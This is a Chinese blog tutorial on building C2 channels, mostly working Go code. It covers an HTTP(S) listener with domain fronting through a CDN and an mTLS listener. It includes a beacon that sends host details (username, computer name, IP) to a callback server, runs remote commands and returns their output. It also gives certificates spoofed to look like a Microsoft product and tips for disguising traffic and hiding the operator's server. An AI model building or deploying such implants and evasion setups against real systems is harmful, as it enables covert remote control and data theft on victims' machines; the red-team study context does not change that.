C2通信协议解析(一):HTTP(s)、mTLS、WebSocket、DNS
2025-10-14 22:05:57 # 安全开发_C2

项目地址:https://github.com/onedays12/C2Protocol

文章首发于先知社区:C2通信协议解析(一):HTTP(s)、mTLS、WebSocket、DNS-先知社区

作者:一天

《安全开发-C2》是系列文章,本文是其子主题《通信协议》,我可以明确的说一定会有第二篇和第三篇,小概率有第四篇,每篇文章介绍4或5个C2协议,包含了到目前为止我对C2通信协议的所有理解,如有错误地方还请各位师傅指出!

本文涉及到大量的TCP/IP协议族的内容,虽然我会在本文中补充相关协议的知识点,但也只是一笔带过,想了解更多细节请参阅网上资料!

这片文章的灵感来自在上一篇文章《从零开始手搓C2框架》中我提到了任务数据可以通过各种C2协议传输,那时的我并没有意识到这是一个很好的文章idea,只想快点写完文章然后好好的休息一下。

静养期间,我偶尔翻阅旧文(这还算休息吗?)。鼠标在书签栏来回滑动,目光扫过标题时,脑中突然电光一闪:这不正是观察现代C2如何迭代伪装、躲避流量检测的绝佳切入口吗?赶紧打开Obsidian然后创建一篇文章,写完标题后我就扔在一旁了,因为我真的很累没时间写。

说到底,这只是一篇再普通不过的笔记,并没有让人眼前一亮的点,我想说的说::“嘿,我又来了,今天也带了点新东西,即使是老酒,我也用新瓶装。” 我只是将自己学习过程中遇到有意思知识记录下来然后分享给各位师傅。

一、HTTP/HTTPS

现代C2框架中,HTTP(S)协议因其高带宽、普遍性和加密特性,成为理想的通信渠道。以下是关于HTTP(S)监听器的详细构建指南,包括域前置技术的集成。

1.1 思路构建

由于HTTP(S)协议监听器太过普遍,所以就不过多介绍HTTP(S)的定义了,直接开始思路构建。

第一点,任务怎么获取:相信看过我文章的师傅应该会清楚,我在上篇文章的基础上大幅度简化http(s)监听器的代码,这样做只是保留最核心的代码让各位读者能够直接感受到http监听器是如何完成任务下发和结果回传的。Server先起一个HTTP/HTTPS 监听器(IS_HTTPS 决定协议类型),随后在监听器上按自定义URI注册路由。路由告诉Beacon“从哪访问服务”——也就是用什么method+URI的组合来拿任务和回传结果。

HTTP/HTTPS监听器本质上是一个HTTP服务器,任何支持编写HTTP服务器的框架都能够实现监听器,根据这段时间的代码编写经历,个人还是喜欢用gin来编写http服务器,当然go的标准库 net/http 也可以写,只是没这么方便。

既然监听器本身是一个HTTP服务器,那么我们可以做一个html的模板,在html里放置placeholder(占位符),当Beacon通过Get的方式来取任务数据,我们就将加密后的任务数据嵌入到html里,然后作为结果返回给Beacon。

第二点,不需要任务队列:一般情况下,需要给监听器创建一个任务队列,可是这样做代码量又是直接飙升,这篇文章只是探讨C2协议,不是搭建完整的C2框架,不如直接硬编码命令,不知道各位师傅觉得如何呢😋

第三点,怎么执行任务:在第一点中我说了,任务数据是存放在html里的,beacon接收到html,根据正则匹配获取任务数据,然后解密任务数据获取命令,这样就可以执行了。需要说明的是本文的示例中只能够执行cmd命令,执行不了复杂的命令,理由见下一小点。

第四点,JSON打包万岁:在本文中所有C2协议我不想在代码中实现自定义打包器了,虽然它的可扩展性很高,可是我懒得实现!用go的 encoding/json 一把梭,可以释放大脑,然而这样做的后果就是任务数据和结果数据必须严格遵守json的格式,这种方式显然不适合实战。

第五点,结果回传:metadata和任务执行的结果用json反序列化,然后beacon再以POST的方式访问接口,提交数据给Server。Server中有专门结果回传的函数,其实不用过多处理结果,直接打印就完事了。

第六点,流量规避:为了使Beacon与Server之间的通信流量看起来像正常的HTTP数据,需要给操作员自定义流量的权限。具体来说就是是否开启SSL、自定义响应头、HOST、PORT、URI、证书、返回给beacon的html内容等。

所有控制的参数都写在server.go的开头,都是为了保证更像“正常的流量”,当然可控的参数并不完整,读者可以自行探究,比如说返回的html页面可以修改成某某后台管理系统,让ai分析一下流量,如果分析是正常流量也就差不多了,当然本文我没这么做。

1.2 代码实现

1.2.1 Server

这就是所谓的可控参数,在实际的C2框架中,这些都是操作员(前端GUI或者web)传输到Server,然后server根据这些参数启动监听器和生成Beacon配置。主要介绍ListenerStart、parseBeat、processRequest、processResponse和main方法,其他工具函数不详细说了,具体代码去github看就行。

可控参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var (  
HOST = "0.0.0.0"
PORT = 9090
URI = "/cdn-cgi/trace"
IS_HTTPS = false
SSLCertPath = "static/server.crt"
SSLKeyPath = "static/server.key"
payloadPath = "static/payload.html"
pageErrorPath = "static/404.html"
HBHeader = "X-Session-Id"
HBPrefix = "session="
EncryptKey = "01234567890123456789"
placeholder = "{{.Cmd}}"
taskData = "ipconfig"
)

的ListenerStart方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
func ListenerStart() *http.Server {  

var err error

// 设置gin的模式为debug模式并注册路由
gin.SetMode(gin.DebugMode)
router := gin.New()
router.GET(URI, processRequest)
router.POST(URI, processResponse)

// 创建http服务对象
server := &http.Server{
Addr: fmt.Sprintf("%s:%d", HOST, PORT),
Handler: router,
}

// 启动https服务或http服务
if IS_HTTPS {
go func() {
err = server.ListenAndServeTLS(SSLCertPath, SSLKeyPath)
if err != nil && !errors.Is(err, http.ErrServerClosed) {
fmt.Printf("Error starting HTTPS server: %v\n", err)
return
}
}()

fmt.Printf(" Started listener: https://%s:%d%s\n", HOST, PORT, URI)

} else {
go func() {
err = server.ListenAndServe()
if err != nil && !errors.Is(err, http.ErrServerClosed) {
fmt.Printf("Error starting HTTP server: %v\n", err)
return
}
}()

fmt.Printf(" Started listener: http://%s:%d%s\n", HOST, PORT, URI)
}

return server
}

这段代码的功能主要是使用Gin框架生成一个router(本质是一个 *Engine,能够启动服务器),然后根据HOST, PORT、router创建一个http.Server实例。接着根据 IS_HTTPS 来决定启动HTTP服务器还是HTTPS服务器,说实话http和https在数据的加密层面区别不大,因为不管是http和https,在数据传输之前都会先进行一遍RC4加密(可使用AES,更安全)。

parseBeat方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
func parseBeat(ctx *gin.Context) error {  

// 1. 解析 Cookie 里的 SESSIONID
cookie := ctx.Request.Header.Get(HBHeader)
if !strings.HasPrefix(cookie, HBPrefix) {
return errors.New("no SESSIONID in cookie")
}
beatB64 := strings.TrimPrefix(cookie, HBPrefix)

// 2. base64url 解码
beaconInfoCrypt, err := base64.RawURLEncoding.DecodeString(beatB64)
if err != nil || len(beaconInfoCrypt) < 8 {
return errors.New("failed to decode beat")
}

// 3. RC4 解密
rc4crypt, err := rc4.NewCipher([]byte(EncryptKey))
if err != nil {
return errors.New("rc4 decrypt error")
}
beaconInfo := make([]byte, len(beaconInfoCrypt))
rc4crypt.XORKeyStream(beaconInfo, beaconInfoCrypt)

// 4. 输出metaData
metaData := string(beaconInfo)
fmt.Printf(" Beat metaData: %s\n", metaData)
return nil
}

在C2远控中,Beacon首次上线或重连时发送 Metadata(在本文中HeartBeat和Metadata是同一个东西,但是在不同文章中它们还是有很大区别),Metadata 通常包含了主机信息(主机名、用户名、系统版本、进程权限、网络配置等)和会话密钥(本文中不实现)。

上述代码的功能就是去解析存放在自定义请求头中的心跳包,然后base64解码,接着RC4解密,本文并未实现上线注册的相关代码,所以最后会在server的控制台输出一串紧凑的json字符串。

processRequest方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
func processRequest(ctx *gin.Context) {  

// 解析心跳包
parseBeat(ctx)

// 获取客户端IP
externalIP := clientIP(ctx.Request)
fmt.Printf(" Received request from %s\n", externalIP)

// 将任务数据嵌入到html模板中
payload, err := os.ReadFile(payloadPath)
if err != nil {
pageError(ctx)
return
}

// RC4 加密
encryptData, err := RC4Crypt([]byte(taskData), []byte(EncryptKey))
if err != nil {
pageError(ctx)
return
}

// 嵌入任务数据到html模板中
html := []byte(strings.ReplaceAll(string(payload), placeholder, string(encryptData)))

// 设置响应头并返回加密数据
setHeaders(ctx)
_, _ = ctx.Writer.Write(html)

}

当Beacon通过Get方法访问相应的接口时,会由 processRequest 处理请求。processRequest 方法会调用 parseBeat 方法解析心跳包,然后获取externalIP,这个和上一步是连在一起为注册Beacon做准备的(本文未实现注册)。紧接着根据placeholder占位符找到数据存放的位置,将加密后的任务数据嵌入到html模板中。最后设置响应头返回hmtl内容给Beacon。

processResponse方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
func processResponse(ctx *gin.Context) {  

// 解析心跳包
parseBeat(ctx)

// 获取客户端IP
externalIP := clientIP(ctx.Request)
fmt.Printf(" Received request from %s\n", externalIP)

// 处理 agent 数据
// 读取原始 body
bodyBytes, _ := io.ReadAll(ctx.Request.Body)
defer ctx.Request.Body.Close()

// 解密 body
decryptedData, err := RC4Crypt(bodyBytes, []byte(EncryptKey))
if err != nil {
pageError(ctx)
return
}
log.Printf("[HTTP] ← String view:\n%s", string(decryptedData))

// 返回成功响应
setHeaders(ctx)
ctx.AbortWithStatus(http.StatusOK)
}

当Beacon通过POST方法访问相应的接口时,会由 processResponse 处理请求。processResponse 也会调用 parseBeat 解析心跳包和获取客户端IP,这主要是为了保险起见,当然我觉得是很冗余了,有兴趣的师傅可以自己修改。这也是为什么在Server的控制台输出两段心跳包的原因。

紧接着会提取请求包里的内容,将body解密,直接输出到Server的控制台上。因为并没有指定编码的原因,控制台会输出乱码,可以用项目中自带的utils.ConvertUTF8toCp方法转换编码,这需要反序列化心跳包,得到ACP字段的值,因为比较麻烦我就不在代码中实现了。

最后就是main方法了

1
2
3
4
5
6
7
8
9
10
11
12
13
func main() {  
srv := ListenerStart()

quit := make(chan os.Signal, 1)
signal.Notify(quit, os.Interrupt, syscall.SIGTERM)
<-quit // 阻塞直到 Ctrl-C
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
if err := srv.Shutdown(ctx); err != nil {
fmt.Println("Server forced to shutdown:", err)
}
fmt.Println("Server exited")
}

这里唯一需要说明的是:我们在代码中单独启用一个goroutine去执行HTTP监听器,不用goroutine则主线程会被 ListenAndServe 永远占住,在实际项目中这是不合理的;如果用了goroutine,在main中不监听监听结束信号,则主线程在启动完 ListenAndServe 就直接结束,监听的goroutine也跟着被强制杀掉。

1.2.2 Beacon

定义简化后的BeaconConfig和HeartBeat结构体,只保留我认为关键的字段。然后创建全局变量beaconProfile和heartBeat,各个字段硬编码!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
type BeaconConfig struct {  
Sleep int32
Jitter int32
URI string
CallBackAddress string
IS_HTTPS bool
EncryptKey []byte
HBHeader string
HBPrefix string
UserAgent string
}

type HeartBeat struct {
BeaconId int32 `json:"beacon_id"`
Sleep int32 `json:"sleep"`
Jitter int32 `json:"jitter"`
PID int32 `json:"pid"`
ACP int32 `json:"acp"`
InternalIP int32 `json:"internal_ip"`
Computer string `json:"computer"`
Username string `json:"username"`
ProcessName string `json:"process_name"`
}

var beaconProfile = BeaconConfig{
Sleep: 5,
Jitter: 2,
URI: "/cdn-cgi/trace",
CallBackAddress: "192.168.3.1:9090",
IS_HTTPS: false,
EncryptKey: []byte("01234567890123456789"),
HBHeader: "X-Session-Id",
HBPrefix: "session=",
UserAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
}

var heartBeat = HeartBeat{
BeaconId: rand.Int32(),
Sleep: beaconProfile.Sleep,
Jitter: beaconProfile.Jitter,
PID: int32(os.Getpid()),
ACP: utils.GetCodePageANSI(),
InternalIP: int32(utils.GetInternalIp()),
Computer: utils.GetComputerName(),
Username: utils.GetUsername(),
ProcessName: utils.GetProcessName(),
}

HttpGet方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
func HttpGet(metaData []byte) ([]byte, error) {  

url := fmt.Sprintf("http://%s%s", beaconProfile.CallBackAddress, beaconProfile.URI)

// ====== RC4加密 ======
rc4_key := beaconProfile.EncryptKey
encryptedMetaData, err := utils.RC4Crypt(metaData, rc4_key)
if err != nil {
return nil, err
}
// ====== base64url 编码 ======
metaDataB64 := base64.RawURLEncoding.EncodeToString(encryptedMetaData)

// ====== 设置到请求头 ======
cookieValue := beaconProfile.HBPrefix + metaDataB64

req, err := http.NewRequest("GET", url, nil)
if err != nil {
fmt.Println("Request error:", err)
return nil, err
}
req.Header.Set(beaconProfile.HBHeader, cookieValue)
req.Header.Set("User-Agent", beaconProfile.UserAgent)

// ====== 发送HTTP GET请求 ======
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
fmt.Println("HTTP error:", err)
return nil, err
}
defer resp.Body.Close()
respBytes, _ := io.ReadAll(resp.Body)

if resp.StatusCode != 200 {
fmt.Println("Status:", resp.StatusCode)
fmt.Println("Decrypted Response:", string(respBytes))
return nil, errors.New("http response error:")
}

return respBytes, nil
}

HttpGet 把传入的 metaData 先用 RC4 加密→Base64URL编码→塞进指定 HTTP请求头→发GET请求→读取并原样返回响应体,用于 Beacon上线/心跳/拉取任务时把主机信息隐写在请求头Header里回传给C2服务器。

这就是拉取后,Server返回给Beacon的html页面

HttpPost方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
func HttpPost(metaData []byte, body []byte) {  

url := fmt.Sprintf("http://%s%s", beaconProfile.CallBackAddress, beaconProfile.URI)
rc4Key := beaconProfile.EncryptKey

// 1. 加密 metaData
encryptedMetaData, err := utils.RC4Crypt(metaData, rc4Key)
if err != nil || encryptedMetaData == nil {
fmt.Printf("rc4 encrypt metaData error: %v\n", err)
return
}
metaDataB64 := base64.RawURLEncoding.EncodeToString(encryptedMetaData)
cookieValue := beaconProfile.HBPrefix + metaDataB64

// 2. 加密 body
encryptedBody, err := utils.RC4Crypt(body, rc4Key)
if err != nil || encryptedBody == nil {
fmt.Printf("rc4 encrypt body error: %v\n", err)
return
}

// 3. 构造请求
req, err := http.NewRequest("POST", url, bytes.NewReader(encryptedBody))
if err != nil {
fmt.Printf("request error: %v\n", err)
return
}
req.Header.Set(beaconProfile.HBHeader, cookieValue)
req.Header.Set("User-Agent", beaconProfile.UserAgent)

// 4. 发送
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
fmt.Printf("http do error: %v\n", err)
return
}
// 只有 resp != nil 才需要关闭
defer resp.Body.Close()

// 5. 读取响应
respBytes, err := io.ReadAll(resp.Body)
if err != nil {
fmt.Printf("read response error: %v\n", err)
return
}

if resp.StatusCode != http.StatusOK {
fmt.Printf("Status: %d\nDecrypted Response: %s\n",
resp.StatusCode, string(respBytes))
}
}

HttpPostmetaDatabody 分别 RC4 加密→Base64URL 后,前者塞进指定请求头、后者作为POST密文体,用于 Beacon 回传命令结果或大型数据。最后会得到响应,响应码只有404(pageError)或者200(成功)。

main和runCommand方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
func main() {  

var (
AssemblyBuff []byte
err error
)
metaData, err := json.Marshal(heartBeat)
if err != nil {
log.Fatalf("json marshal error:%v", err)
}

for {
// 发送HTTP GET请求
AssemblyBuff, err = HttpGet(metaData)
println(string(AssemblyBuff))

// 解析响应,提取加密后的命令
encryptedtext := regexp.MustCompile(`<!--\s*(.*?)\s*-->`)
matches := encryptedtext.FindSubmatch(AssemblyBuff)
if len(matches) < 2 {
println("No command found in response")
continue
}

// 去除空格,解密命令
encryptedCommand := strings.TrimSpace(string(matches[1]))
command, err := utils.RC4Crypt([]byte(encryptedCommand), beaconProfile.EncryptKey) // 结果:ipconfig
if err != nil {
log.Printf("rc4 crypt error:%v", err)
continue
}
println("Command:", command)

// 执行命令并返回结果
result, err := runCommand(string(command))
if err != nil {
log.Printf("run command error:%v", err)
continue
}
println(result)
HttpPost(metaData, []byte(result))
time.Sleep(time.Duration(heartBeat.Sleep+heartBeat.Jitter) * time.Second)
}
}

func runCommand(cmdLine string) (string, error) {
var cmd *exec.Cmd
// 按空格拆成 argv,支持带参数
args := strings.Fields(cmdLine)
if len(args) == 0 {
return "", fmt.Errorf("empty command")
}
cmd = exec.Command(args[0], args[1:]...)
out, err := cmd.CombinedOutput()
return string(out), err
}

main 方法是一个典型的循环拉取任务(轮询,即Beacon模式),执行任务,返回结果的结构,在CS的Beacon的源码中它也是这样定义。

main 函数的功能具体来说就是通过 HttpGet 方法去拉取任务,使用正则提取html中加密的任务数据,解密数据,然后调用 runCommand 去执行任务(本文中只能执行cmd命令),最后将执行的结果用 HttpPost 方法回传给Server。

获取metadata、RC4加密的等工具函数就不过多介绍了,各位师傅可以去github查阅源码。

1.3 流量分析

最后来看看流量分析

Beacon以GET方式请求任务

Server返回任务数据

Beacon回传执行结果

Server成功接收,返回响应码200

1.4 域前置

域前置(Domain Fronting)是一种利用HTTPS和CDN的网络技术,其核心理念是在网络通信中隐藏真实的通信目的地,此项技术可被用于隐藏vps的真实公网IP地址。

很多云服务厂商都会提供CDN加速服务,这里为了方便我就在阿里云上开通CDN服务,毕竟也不要钱,当然在实战中不推荐使用国内的云厂商,道理大家都懂吧?

网上有很多参考资料,我感觉没有必要再这里再写详细步骤了?看我给的这两篇参考资料再加上阿里云的官方文档就没问题了

  1. C2隐匿-云函数&域前置-先知社区
  2. 流量对抗-域前置基础设施搭建 | 长亭百川云

所以我们直入主题,看看加上域前置技术后的流量是怎么样的吧。

修改beacon.go中的服务器的 CallBackAddress 字段的值填写为 CNAME 记录域名,本文中就是 www.abcplus.xyz, 它可以将一个域名指向另一个域名。举个例子就是 www.abcplus.xyz(记录域名) -> www.abcplus.xyz.queniuaa.com(记录值,配置CND时自动生成),CDN节点再根据回源规则把流量转给你的VPS。

来点真实的,直接上流量分析!

首先Beacon向DNS服务器发起A记录查询www.abcplus.xyz 对应的IP是多少,随后DNS服务器返回查询ip为 155.102.4.176

很明显这不是我的vps的ip地址,不信?就测一下。155.102.4.176 是阿里云 CDN 的边缘节点,不是源站。

看看wireshark流量包
第31-33号包:标准的TCP三次握手。
第34-34号包:随后Beacon以GET方式访问了/cdn-cgi/trace,这是我们在代码中定义的上线拉取任务包的操作。
第35-36号包:Server返回任务数据给Beacon。
第37-38号包:Beacon以POST方式访问了/cdn-cgi/trace,返回执行的。

server接收到结果包,输出结果到控制台,没有出错就返回200响应码

如果你觉得使用HTTP不安全,你可以使用HTTPS协议,毕竟使用HTTP总感觉在裸奔,具体怎么配置CDN可以看我给的那两篇参考文章。

二、mTLS

2.1 思路构建

mTLS在标准TLS的基础上要求客户端与服务器各自出示并验证对方数字证书,实现双向身份认证,常用于零信任框架,因为在Sliver的介绍中看到了这个协议,所以就想根据Sliver的源码来分析一波mTLS在C2中的应用。

我们都知道(maybe?),可以通过TCP Socket实现实时信息通信长连接通道,而且每个操作系统都会提供相关的编程API,所以TCP Socket也是C2中经常出现的C2协议,在TCP的上层套一个TLS/SSL即可完成加密通信。而mTLS只是在TLS的基础上要求client也出示其TLS证书,当然在C2中这么做的目的更多是防止防守方通过伪装TLS证书与服务器通信。但是这样并非完全安全,按照sliver的做法是将CA证书、client私钥、client证书驻留在Beacon的内存中,如果防守方能从其内存中dump出这三个凭据,也就能重复已有身份,所以我们使用mTLS的目的是进一步延缓防守方的分析速度,而非完全阻止。使用mTls协议需要简单了解一下证书的签发验证流程。

看一下签发(私有PKI构建)的流程:

  1. Server生成一把私钥作为CA的私钥,CA私钥存放在Server的内存或数据库中
  2. 弄出一个CA证书模板
  3. 然后CA的私钥对CA证书签名,即自签
  4. Server生成为Listener生成一对私钥和公钥
  5. 用CA的私钥对Listener的公钥签名,生成Listener的证书
  6. Server为Beacon生成一对私钥和公钥
  7. 用CA的私钥对Beacon的证书签名,生成Beacon的证书

再看一下验证流程,其中加粗的部分就是与TLS不同的地方。

  1. 客户端连接到服务器
  2. 服务器出示其TLS证书
  3. 客户端使用内置的CA证书(相当于根证书)验证服务器的证书
  4. 客户端出示其 TLS 证书
  5. 服务器使用内置的CA证书验证客户端的证书
  6. 服务器授予访问权限
  7. 客户端和服务器通过加密的TCP Socket连接交换信息

了解上述的知识点后,我们就可以思路构建了

第一点:自己生成CA证书:这部分是对应签发流程的因为根本就拿不到具有公证力的CA私钥,而且也没必要,我们要使用的CA证书不是系统信任的根证书,而是完全私有的,为了构建零信任框架,它让你拥有“签发身份”的主权,所以需要妥善保管好CA私钥。

第二点:为每一个新连接启动一个goroutine:让每条每条连接隧道“独享”一条轻量级执行流,既解耦又防阻塞,是利用Go在并发优势写C2的标配套路。

第三点:流量分帧:这一点是针对大文件、大数据的情况。为了避免通信双方发送超长的数据导致粘包,通常的做法是发送方先发送总长度给接收方,然后接收方申请一个总长度大小的内存空间,之后再从socket读取数据,就可以避免粘包现象的出现。

如果你有大文件上传和下载的需求且有落地磁盘的场景,并不能直接将数据读到内存在写入到磁盘上,容易造成内存爆炸,所以在实际编程中,你就需要实现固定字节“分块”落盘。我只是在这里提上一嘴,代码只解决了粘包问题,因本文没有“分块”落盘的场景所以就没实现。

为什么http不需要分帧?其实不是不分,而是帧已经被协议规范做完,开发者无感,后面的很多C2协议都需要开发者自行分帧,分组(分帧、分片、分段是一个意思) 是c2中绕不开的一个核心问题。

第五点:命令下发与结果回传:我们的下发任务和Beacon结果都是数据,可通过socket传输。

当Beacon成功连接到Server,就发送一个心跳包用于后续的注册操作。因为本文中是实现了一个长连接实时session会话,下发的任务会立即有执行,所以不需要任务队列存储任务数据。

当然此c2协议也能够实现Beacon模式,任务不立即被beacon取走,所以可以准备一个任务队列。

2.2 代码实现

2.2.1 生成证书

cert.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
//go:build ignore  
// +build ignore

package main

import (
"crypto/ecdsa"
"crypto/elliptic"
"crypto/rand"
"crypto/x509"
"crypto/x509/pkix"
"encoding/pem"
"math/big"
"net"
"os"
"time")

// 固定组织名
var orgName = "System Center Operations Manager"

func main() {

// 生成私钥和证书,并用自己的私钥签发自己的证书(自签)
caPriv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
caTmpl := &x509.Certificate{
SerialNumber: new(big.Int).SetBytes(randomBytes(20)),
Subject: pkix.Name{
Organization: []string{orgName},
Country: []string{"US"},
Province: []string{""},
Locality: []string{"Redmond"}, // 随便写
StreetAddress: []string{""},
PostalCode: []string{""},
},
NotBefore: time.Now(), NotAfter: time.Now().AddDate(10, 0, 0),
KeyUsage: x509.KeyUsageCertSign, BasicConstraintsValid: true,
IsCA: true,
IPAddresses: []net.IP{
net.IPv4(127, 0, 0, 1),
net.IPv4(192, 168, 3, 1),
net.IPv4(203, 0, 113, 1), // RFC 5737 测试地址
},
}
caCertDER, _ := x509.CreateCertificate(rand.Reader, caTmpl, caTmpl, &caPriv.PublicKey, caPriv)
caCert, _ := x509.ParseCertificate(caCertDER)
saveCert("ca.pem", caCertDER)
saveKey("ca-key.pem", caPriv)

// 生成server的私钥和证书,用CA的私钥签发server的证书
servPriv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
servTmpl := &x509.Certificate{
SerialNumber: new(big.Int).SetBytes(randomBytes(20)),
Subject: pkix.Name{
Organization: []string{orgName},
Country: []string{"US"},
Locality: []string{"Redmond"},
},
NotBefore: time.Now(), NotAfter: time.Now().AddDate(1, 0, 0),
KeyUsage: x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
IPAddresses: []net.IP{
net.IPv4(127, 0, 0, 1),
net.IPv4(192, 168, 3, 1),
net.IPv4(203, 0, 113, 2), // <-- RFC 5737 文档公网
},
}
servDER, _ := x509.CreateCertificate(rand.Reader, servTmpl, caCert, &servPriv.PublicKey, caPriv)
saveCert("server.pem", servDER)
saveKey("server-key.pem", servPriv)

// 生成client的私钥和证书,用CA的私钥签发client的证书
cliPriv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
cliTmpl := &x509.Certificate{
SerialNumber: new(big.Int).SetBytes(randomBytes(20)),
Subject: pkix.Name{
Organization: []string{orgName}, // 固定值
Country: []string{"US"},
Locality: []string{"Redmond"},
},
NotBefore: time.Now(), NotAfter: time.Now().AddDate(1, 0, 0),
KeyUsage: x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth}, // 必须为 ClientAuth }
cliDER, _ := x509.CreateCertificate(rand.Reader, cliTmpl, caCert, &cliPriv.PublicKey, caPriv)
saveCert("client.pem", cliDER)
saveKey("client-key.pem", cliPriv)
}

func randomBytes(n int) []byte {
b := make([]byte, n)
rand.Read(b)
return b
}

func saveCert(name string, der []byte) {
f, _ := os.Create(name)
pem.Encode(f, &pem.Block{Type: "CERTIFICATE", Bytes: der})
f.Close()
}
func saveKey(name string, key *ecdsa.PrivateKey) {
b, _ := x509.MarshalECPrivateKey(key)
f, _ := os.Create(name)
pem.Encode(f, &pem.Block{Type: "EC PRIVATE KEY", Bytes: b})
f.Close()
}

这个代码用来给测试环境快速生成三套TLS文件。

  1. 自签名的 CA 证书/密钥(ca.pem/ca-key.pem)
  2. 服务器证书/密钥(server.pem/server-key.pem),由CA签发
  3. 客户端证书/密钥(client.pem/client-key.pem),由CA签发

这里要说一下IP地址写进证书属于 Subject Alternative Name(SAN) 的一种写法,证书SAN里的IP是 “我提供的身份”,它的用处是只要对端用这几个IP地址中的任何一个来连我,就算名称匹配,握手继续。

比如说client->server,server的证书IP SAN是 192.168.3.1(server真实的ip地址),client对 192.168.3.1 发起连接,则client不报错;若server的证书IP SAN是 192.168.3.2,client对 192.168.3.1 发起连接,因为 192.168.3.1 不符合server的证书IP SAN,故client报证书验证错误。server->client的也是同理。下图就是client验证server证书失败后的结果。

其余值得说明的是Subject字段,这里包含了Country、Organization 、Locality、 Province等相关信息,可以将这些信息尽可能贴近实际生活,看起来像正规公司出品的证书。

2.2.2 Server

server.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
package main  

import (
"bufio"
"crypto/tls"
"crypto/x509"
"errors"
"fmt"
"io"
"log"
"mtls/utils"
"net"
"os"
"strings")

const (
listenAddr = "192.168.3.1:9443"
caCert = "ca.pem"
serverCert = "server.pem"
serverKey = "server-key.pem"
)

func main() {
ln, err := ListenerStart(listenAddr)
if err != nil {
log.Fatalf("listener start: %v", err)
}
log.Printf("mTLS listener started on %s", listenAddr)
acceptConnections(ln)
}

// 启动 mTLS 监听器
func ListenerStart(addr string) (net.Listener, error) {
// 加载服务器证书
cert, err := tls.LoadX509KeyPair(serverCert, serverKey)
if err != nil {
return nil, err
}
// 加载CA并放入池
caPEM, err := os.ReadFile(caCert)
if err != nil {
return nil, err
}
pool := x509.NewCertPool()
if !pool.AppendCertsFromPEM(caPEM) {
return nil, errors.New("failed to parse CA certificate")
}
// TLS配置:强制双向TLS 1.3
tlsConfig := &tls.Config{
Certificates: []tls.Certificate{cert},
ClientAuth: tls.RequireAndVerifyClientCert, //mTLS与TLS的关键区别
ClientCAs: pool,
MinVersion: tls.VersionTLS13,
}
return tls.Listen("tcp", addr, tlsConfig)
}

// 接受新连接
func acceptConnections(listener net.Listener) {
for {
rawConn, err := listener.Accept()
if err != nil {
// 监听器被关闭
if opErr, ok := err.(*net.OpError); ok && opErr.Op == "accept" {
break
}
log.Printf("accept error: %v", err)
continue
}
log.Printf("new connection from %s", rawConn.RemoteAddr())
go handleConnection(rawConn)
}
}

// 处理单条连接
func handleConnection(conn net.Conn) {
defer conn.Close()
for {
// 1. 读一条Beacon输出
data, err := utils.ReadFrame(conn)
if err != nil {
if err != io.EOF {
log.Printf("read error: %v", err)
}
return
}
log.Printf("output: %s\n", string(data))

// 2. 从标准输入读一条命令
fmt.Print("Cmd>>> ")
cmdLine, _ := bufio.NewReader(os.Stdin).ReadString('\n')
cmdLine = strings.TrimRight(cmdLine, "\r\n")
if cmdLine == "" {
continue
}

// 3. 下发命令
if err := utils.WriteFrame(conn, []byte(cmdLine)); err != nil {
log.Printf("write error: %v", err)
return
}
}
}

ListenerStart:读取server的私钥和证书以及CA的证书,完成TLS的配置(其中),ClientAuth: RequireAndVerifyClientCertmTLS与单向TLS唯一区别:握手阶段服务器会发 。CertificateRequest,客户端必须回证书且通过 ClientCAs(CA验证) 校验链。完成配置之后就可以使用tls.Listen快速地创建监听器了。

acceptConnections:每来一条连接就创建一个goroutine,由handleConnection来处理。

handleConnection:交互式shell,可以下发命令和读取Beacon回传的数据,其中利用到了工具函数的 ReadFrameWriteFrame 从socket中读写数据,支持8192B分块,大回显也不会炸内存。

看看执行效果,下图server控制输入ipconfig命令后的回显

